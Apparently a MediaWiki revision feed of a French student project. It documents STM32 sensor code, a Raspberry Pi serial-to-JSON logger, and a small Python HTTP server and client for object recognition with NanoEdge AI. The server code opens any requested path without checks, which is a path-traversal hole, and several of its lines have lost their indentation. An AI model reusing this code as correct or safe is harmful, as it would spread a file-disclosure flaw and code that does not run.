Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.&lt;br /&gt;
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
static void MX_53L5A1_SimpleRanging_Process(void)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t Id;&lt;br /&gt;
&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &amp;amp;Id);&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &amp;amp;Cap);&lt;br /&gt;
&lt;br /&gt;
  Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;&lt;br /&gt;
  Profile.TimingBudget = TIMING_BUDGET; /* 5 ms &amp;lt; TimingBudget &amp;lt; 100 ms */&lt;br /&gt;
  Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */&lt;br /&gt;
  Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
  Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
&lt;br /&gt;
  /* set the profile if different from default one */&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &amp;amp;Profile);&lt;br /&gt;
&lt;br /&gt;
  status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);&lt;br /&gt;
&lt;br /&gt;
  if (status != BSP_ERROR_NONE)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;VL53L5A1_RANGING_SENSOR_Start failed\n&amp;quot;);&lt;br /&gt;
    while (1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  while (1)&lt;br /&gt;
  {&lt;br /&gt;
    /* polling mode */&lt;br /&gt;
    status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &amp;amp;Result);&lt;br /&gt;
&lt;br /&gt;
    if (status == BSP_ERROR_NONE)&lt;br /&gt;
    {&lt;br /&gt;
      //print_result(&amp;amp;Result);&lt;br /&gt;
      print_result_IE(&amp;amp;Result);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (com_has_data())&lt;br /&gt;
    {&lt;br /&gt;
      handle_cmd(get_key());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    HAL_Delay(POLLING_PERIOD);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.&lt;br /&gt;
&lt;br /&gt;
On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.&lt;br /&gt;
&lt;br /&gt;
On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot   (pour chaque lignes/quadrillage sur une ligne)&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
static void print_result_IE(RANGING_SENSOR_Result_t *Result)&lt;br /&gt;
{&lt;br /&gt;
  int8_t j;&lt;br /&gt;
  int8_t k;&lt;br /&gt;
  int8_t l;&lt;br /&gt;
  uint8_t zones_per_line;&lt;br /&gt;
&lt;br /&gt;
  zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||&lt;br /&gt;
		 (Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;&lt;br /&gt;
&lt;br /&gt;
  for (j = 0; j &amp;lt; Result-&amp;gt;NumberOfZones; j += zones_per_line)&lt;br /&gt;
  {&lt;br /&gt;
	for (l = 0; l &amp;lt; RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)&lt;br /&gt;
	{&lt;br /&gt;
	  /* Print distance and status */&lt;br /&gt;
	  for (k = (zones_per_line - 1); k &amp;gt;= 0; k--)&lt;br /&gt;
	  {&lt;br /&gt;
		if (Result-&amp;gt;ZoneResult[j+k].NumberOfTargets &amp;gt; 0)&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;,(long)Result-&amp;gt;ZoneResult[j+k].Distance[l]);&lt;br /&gt;
		else&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;, -1);&lt;br /&gt;
	  }&lt;br /&gt;
	}&lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Code de récupération de donnée (sur la raspberry) =&lt;br /&gt;
&lt;br /&gt;
= Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série. =&lt;br /&gt;
Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.&lt;br /&gt;
&lt;br /&gt;
Nous allons vous expliquez le script que nous avons réalisés :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
import serial&lt;br /&gt;
from threading import Thread, Event&lt;br /&gt;
from time import sleep&lt;br /&gt;
import os, sys, signal&lt;br /&gt;
import datetime&lt;br /&gt;
import glob&lt;br /&gt;
&lt;br /&gt;
# Événement pour signaler l'arrêt des threads&lt;br /&gt;
interruptAllEvent = Event()&lt;br /&gt;
&lt;br /&gt;
# Fonction de thread pour lire les données et les sauvegarder dans des fichiers&lt;br /&gt;
def serial_thread(ser: serial) -&amp;gt; None:&lt;br /&gt;
    # Chemin du fichier pour les données initiales du capteur&lt;br /&gt;
    # Ces données sont vouées à ne pas être utilisées&lt;br /&gt;
    fileName_old = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        if (interruptAllEvent.is_set()):&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        # Créer un nouveau fichier pour chaque minute avec l'horodatage actuel&lt;br /&gt;
        fileName = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__%H_%M_00&amp;quot;) + &amp;quot;.json&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        # Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante&lt;br /&gt;
        if (fileName_old != fileName):&lt;br /&gt;
            with open(fileName_old, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
                fichier.write(&amp;quot;\&amp;quot;}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Lire les données du port série&lt;br /&gt;
        string = str(ser.readline(), encoding='utf-8')&lt;br /&gt;
&lt;br /&gt;
        # Ouvrir le fichier de la minute actuelle et écrire les données&lt;br /&gt;
        with open(fileName, &amp;quot;a&amp;quot;) as fichier:&lt;br /&gt;
            # S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON&lt;br /&gt;
            if (fileName_old != fileName):&lt;br /&gt;
                fileName_old = fileName&lt;br /&gt;
                fichier.write(&amp;quot;{\&amp;quot;date\&amp;quot;:\&amp;quot;&amp;quot;+datetime.datetime.now().strftime(&amp;quot;%d/%m/%Y-%H:%M:00&amp;quot;)+&amp;quot;\&amp;quot;,\&amp;quot;csv_file\&amp;quot;:\&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            # Écrire les données dans le fichier&lt;br /&gt;
            fichier.write(string)&lt;br /&gt;
&lt;br /&gt;
# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)&lt;br /&gt;
def signal_handler(sig, frame):&lt;br /&gt;
    interruptAllEvent.set()&lt;br /&gt;
    return&lt;br /&gt;
&lt;br /&gt;
# Fonction principale&lt;br /&gt;
def main() -&amp;gt; None:&lt;br /&gt;
    # Créer un objet pour la communication série&lt;br /&gt;
    ser = serial.Serial('/dev/ttyACM0', 460800)&lt;br /&gt;
&lt;br /&gt;
    # Créer un thread pour la communication série&lt;br /&gt;
    thread = Thread(target=serial_thread, args=(ser,))&lt;br /&gt;
&lt;br /&gt;
    # Démarrer le thread de communication série&lt;br /&gt;
    thread.start()&lt;br /&gt;
&lt;br /&gt;
    # Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)&lt;br /&gt;
    signal.signal(signal.SIGINT, signal_handler)&lt;br /&gt;
&lt;br /&gt;
    # Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur&lt;br /&gt;
    sleep(5)&lt;br /&gt;
    os.remove(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_start&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while (1):&lt;br /&gt;
        # Vérifier si l'événement d'interruption est défini&lt;br /&gt;
        if interruptAllEvent.is_set():&lt;br /&gt;
            # Attendre que le thread série se termine, puis sortir de la boucle&lt;br /&gt;
            thread.join()&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
        sleep(5)&lt;br /&gt;
&lt;br /&gt;
        # Ajuster les valeurs de minute et d'heure pour l'heure précédente&lt;br /&gt;
        minute = datetime.datetime.now().minute - 1&lt;br /&gt;
        hours = datetime.datetime.now().hour&lt;br /&gt;
        if (minute &amp;lt; 0):&lt;br /&gt;
            minute = minute + 60&lt;br /&gt;
            hours = hours - 1&lt;br /&gt;
&lt;br /&gt;
        # On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur&lt;br /&gt;
        # soit du bon format. On protège donc tout les \n du fichier avant son envoie.&lt;br /&gt;
        try:&lt;br /&gt;
            # Lire et modifier le contenu du fichier de la minute précédente&lt;br /&gt;
            with open(os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;, &amp;quot;r+&amp;quot;) as fichier:&lt;br /&gt;
                line = fichier.read()&lt;br /&gt;
                str(line).replace('\n','\\\n')&lt;br /&gt;
                fichier.write(line)&lt;br /&gt;
        except FileNotFoundError:&lt;br /&gt;
            sleep(60)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de chemins de fichiers pour les 10 dernières minutes&lt;br /&gt;
        # Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage&lt;br /&gt;
        file_to_keep = []&lt;br /&gt;
        for i in range(0,10):&lt;br /&gt;
            minute = datetime.datetime.now().minute - i&lt;br /&gt;
            hours = datetime.datetime.now().hour&lt;br /&gt;
            if (minute &amp;lt; 0):&lt;br /&gt;
                minute = minute + 60&lt;br /&gt;
                hours = hours - 1&lt;br /&gt;
            path_string = os.path.dirname(__file__) + &amp;quot;/data/sensor_data_&amp;quot; + datetime.datetime.now().strftime(&amp;quot;%d_%m_%Y__&amp;quot;) + str(hours) + &amp;quot;_&amp;quot; + str(minute) + &amp;quot;_00.json&amp;quot;&lt;br /&gt;
            file_to_keep.append(path_string)&lt;br /&gt;
&lt;br /&gt;
        # Obtenir une liste de tous les fichiers dans le répertoire data&lt;br /&gt;
        files = glob.glob(os.path.dirname(__file__) + &amp;quot;/data/*&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        # Créer une liste de fichiers à supprimer&lt;br /&gt;
        files_to_remove = []&lt;br /&gt;
&lt;br /&gt;
        # Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver&lt;br /&gt;
        for file_name in files:&lt;br /&gt;
            beRemoved = True&lt;br /&gt;
            for f_keep in file_to_keep:&lt;br /&gt;
                if file_name == f_keep:&lt;br /&gt;
                    beRemoved = False&lt;br /&gt;
                    break&lt;br /&gt;
            if beRemoved:&lt;br /&gt;
                files_to_remove.append(file_name)&lt;br /&gt;
&lt;br /&gt;
        # Supprimer les fichiers de la liste de suppression&lt;br /&gt;
        for file_name in files_to_remove:&lt;br /&gt;
            os.remove(file_name)&lt;br /&gt;
&lt;br /&gt;
# Point d'entrée du script&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Résultats renvoyés par le programme de reconnaissance =&lt;br /&gt;
[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]&lt;br /&gt;
[[Fichier:20231220 173812.jpg|vignette|Un stabilo à reconnaitre]]&lt;br /&gt;
[[Fichier:20231220 173733.jpg|centre|vignette|Une colle à reconnaitre]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3993</id>
		<title>SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3993"/>
		<updated>2024-01-20T14:05:10Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* Séance 1 :&lt;br /&gt;
** Création et configuration de la VM sur Chassiron&lt;br /&gt;
** Installation de NanoEdge&lt;br /&gt;
** Installation de STM32cube&lt;br /&gt;
** Installation de l'OS pour la Raspberry dans la carte micro SD&lt;br /&gt;
** Prise en main de Nanoedge, de nucléo et de STM32cube&lt;br /&gt;
** Début de réflexion sur l'application (métrologie)&lt;br /&gt;
*Séance 2:&lt;br /&gt;
**Mise en place du serveur python&lt;br /&gt;
**Mise en place du client python&lt;br /&gt;
**Test réussi de communication entre client et serveur via http&lt;br /&gt;
**Programmation de la carte nucléo pour transfert de valeur via liaison série&lt;br /&gt;
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)&lt;br /&gt;
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires&lt;br /&gt;
**Entraînement des modèles pour les différentes applications cités précédemment&lt;br /&gt;
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires&lt;br /&gt;
*Séance 3:&lt;br /&gt;
**Entraînement d'un nouveau modèle.&lt;br /&gt;
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.&lt;br /&gt;
*Séance 4 :&lt;br /&gt;
**Essai d'utilisation de la librairie créée grâce à Nanoedge.&lt;br /&gt;
**Amélioration du [[Code de récupération de donnée (sur la raspberry)|programme python]] permettant de récupérer les données du capteur.&lt;br /&gt;
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.&lt;br /&gt;
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.&lt;br /&gt;
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.&lt;br /&gt;
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.&lt;br /&gt;
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Code du serveur Python :&amp;lt;/b&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, BaseHTTPRequestHandler&lt;br /&gt;
&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# Stocker les requ  tes POST re  ues&lt;br /&gt;
&lt;br /&gt;
post_requests = []&lt;br /&gt;
&lt;br /&gt;
class CustomHTTPHandler(BaseHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
   def do_GET(self):&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/':&lt;br /&gt;
&lt;br /&gt;
           self.path = '/index.html'&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/data':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'application/json')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
if self.path == '/index.html':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           # Cr  er le contenu HTML avec les donn  es POST&lt;br /&gt;
&lt;br /&gt;
           content = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Donn  es POST:&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           for item in post_requests:&lt;br /&gt;
&lt;br /&gt;
               content += f'&amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           content += '&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(content.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
       try:&lt;br /&gt;
&lt;br /&gt;
file_to_open = open(self.path[1:]).read()&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(file_to_open, 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
       except FileNotFoundError:&lt;br /&gt;
&lt;br /&gt;
           self.send_error(404, 'File Not Found: %s' % self.path)&lt;br /&gt;
&lt;br /&gt;
   def do_POST(self):&lt;br /&gt;
&lt;br /&gt;
       content_length = int(self.headers['Content-Length'])&lt;br /&gt;
&lt;br /&gt;
       post_data = self.rfile.read(content_length).decode('utf-8')&lt;br /&gt;
&lt;br /&gt;
       # Ajouter les donn  es POST    la liste&lt;br /&gt;
&lt;br /&gt;
       post_requests.append(post_data)&lt;br /&gt;
&lt;br /&gt;
       # Envoyer une rponse HTTP&lt;br /&gt;
&lt;br /&gt;
       self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
       self.end_headers()&lt;br /&gt;
&lt;br /&gt;
self.wfile.write(b&amp;quot;POST request processed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
class HTTPServerV6(HTTPServer):&lt;br /&gt;
&lt;br /&gt;
   address_family = socket.AF_INET6&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&lt;br /&gt;
   server_address = ('::', 8888)  #  ^icoute sur toutes les interfaces IPv6, p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   httpd = HTTPServerV6(server_address, CustomHTTPHandler)&lt;br /&gt;
&lt;br /&gt;
   print(&amp;quot;Serveur actif sur le port&amp;quot;, 8888)&lt;br /&gt;
&lt;br /&gt;
   httpd.serve_forever() &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Code du client Python :'''&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import argparse                                                                                                                            &lt;br /&gt;
import requests                                                                                                                            &lt;br /&gt;
import json                                                                                                                                &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
def send_json_to_server(url, json_file):                                                                                                   &lt;br /&gt;
    # Charger les données CSV depuis le fichier spécifié                                                                                   &lt;br /&gt;
    with open(json_file, 'r') as file:                                                                                                     &lt;br /&gt;
        data = json.load(file)                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # En-têtes spécifiant que vous envoyez du CSV                                                                                          &lt;br /&gt;
    headers = {'Content-Type': 'application/json'}                                                                                         &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Envoie de la requête HTTP POST avec les données                                                                                      &lt;br /&gt;
    response = requests.post(url, data=json.dumps(data), headers=headers)                                                                  &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Vérification de la réponse                                                                                                           &lt;br /&gt;
    if response.status_code == 200:                                                                                                        &lt;br /&gt;
        print('Requête envoyée avec succès!')                                                                                              &lt;br /&gt;
    else:                                                                                                                                  &lt;br /&gt;
        print(f'Erreur {response.status_code}: {response.text}')                                                                           &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:                                                                                                                 &lt;br /&gt;
    # Configurer les arguments en ligne de commande                                                                                        &lt;br /&gt;
    parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')                                          &lt;br /&gt;
    parser.add_argument('url', type=str, help='URL du serveur')                                                                            &lt;br /&gt;
    parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')                                               &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Analyser les arguments                                                                                                               &lt;br /&gt;
    args = parser.parse_args()                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Appeler la fonction pour envoyer le JSON au serveur                                                                                  &lt;br /&gt;
    send_json_to_server(args.url, args.json_file) &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Index permettant d'afficher le json de test que nous avons envoyé au serveur :'''&amp;lt;syntaxhighlight lang=&amp;quot;html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Page d'Accueil&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;Bienvenue sur Mon Serveur&amp;lt;/h1&amp;gt;&lt;br /&gt;
    &amp;lt;h2&amp;gt;Données POST reçues:&amp;lt;/h2&amp;gt;&lt;br /&gt;
    &amp;lt;ul id=&amp;quot;data&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;!-- Les données POST seront listées ici --&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Flash du capteur sur le logiciel STM32CubeIDE =&lt;br /&gt;
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.&lt;br /&gt;
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
static void MX_53L5A1_SimpleRanging_Process(void)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t Id;&lt;br /&gt;
&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &amp;amp;Id);&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &amp;amp;Cap);&lt;br /&gt;
&lt;br /&gt;
  Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;&lt;br /&gt;
  Profile.TimingBudget = TIMING_BUDGET; /* 5 ms &amp;lt; TimingBudget &amp;lt; 100 ms */&lt;br /&gt;
  Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */&lt;br /&gt;
  Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
  Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
&lt;br /&gt;
  /* set the profile if different from default one */&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &amp;amp;Profile);&lt;br /&gt;
&lt;br /&gt;
  status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);&lt;br /&gt;
&lt;br /&gt;
  if (status != BSP_ERROR_NONE)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;VL53L5A1_RANGING_SENSOR_Start failed\n&amp;quot;);&lt;br /&gt;
    while (1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  while (1)&lt;br /&gt;
  {&lt;br /&gt;
    /* polling mode */&lt;br /&gt;
    status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &amp;amp;Result);&lt;br /&gt;
&lt;br /&gt;
    if (status == BSP_ERROR_NONE)&lt;br /&gt;
    {&lt;br /&gt;
      //print_result(&amp;amp;Result);&lt;br /&gt;
      print_result_IE(&amp;amp;Result);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (com_has_data())&lt;br /&gt;
    {&lt;br /&gt;
      handle_cmd(get_key());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    HAL_Delay(POLLING_PERIOD);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.&lt;br /&gt;
&lt;br /&gt;
On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.&lt;br /&gt;
&lt;br /&gt;
On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot   (pour chaque lignes/quadrillage sur une ligne)&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
static void print_result_IE(RANGING_SENSOR_Result_t *Result)&lt;br /&gt;
{&lt;br /&gt;
  int8_t j;&lt;br /&gt;
  int8_t k;&lt;br /&gt;
  int8_t l;&lt;br /&gt;
  uint8_t zones_per_line;&lt;br /&gt;
&lt;br /&gt;
  zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||&lt;br /&gt;
		 (Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;&lt;br /&gt;
&lt;br /&gt;
  for (j = 0; j &amp;lt; Result-&amp;gt;NumberOfZones; j += zones_per_line)&lt;br /&gt;
  {&lt;br /&gt;
	for (l = 0; l &amp;lt; RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)&lt;br /&gt;
	{&lt;br /&gt;
	  /* Print distance and status */&lt;br /&gt;
	  for (k = (zones_per_line - 1); k &amp;gt;= 0; k--)&lt;br /&gt;
	  {&lt;br /&gt;
		if (Result-&amp;gt;ZoneResult[j+k].NumberOfTargets &amp;gt; 0)&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;,(long)Result-&amp;gt;ZoneResult[j+k].Distance[l]);&lt;br /&gt;
		else&lt;br /&gt;
		  printf(&amp;quot;%ld &amp;quot;, -1);&lt;br /&gt;
	  }&lt;br /&gt;
	}&lt;br /&gt;
  }&lt;br /&gt;
  printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Code de récupération de donnée (sur la raspberry) =&lt;br /&gt;
&lt;br /&gt;
= Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série. =&lt;br /&gt;
Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.&lt;br /&gt;
&lt;br /&gt;
Nous allons vous expliquez le script que nous avons réalisés :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
import serial&lt;br /&gt;
from threading import Thread, Event&lt;br /&gt;
from time import sleep&lt;br /&gt;
import os, sys, signal&lt;br /&gt;
import datetime&lt;br /&gt;
import glob&lt;br /&gt;
&lt;br /&gt;
# Événement pour signaler l'arrêt des threads&lt;br /&gt;
interruptAllEvent = Event()&lt;br /&gt;
&lt;br /&gt;
# Fonction de thread pour lire les données et les sauvegarder dans des fichiers&lt;br /&gt;
def serial_thread(ser: serial) -&amp;gt; None:&lt;br /&gt;
    # Chemin du fichier pour les données initiales du capteur&lt;br /&gt;
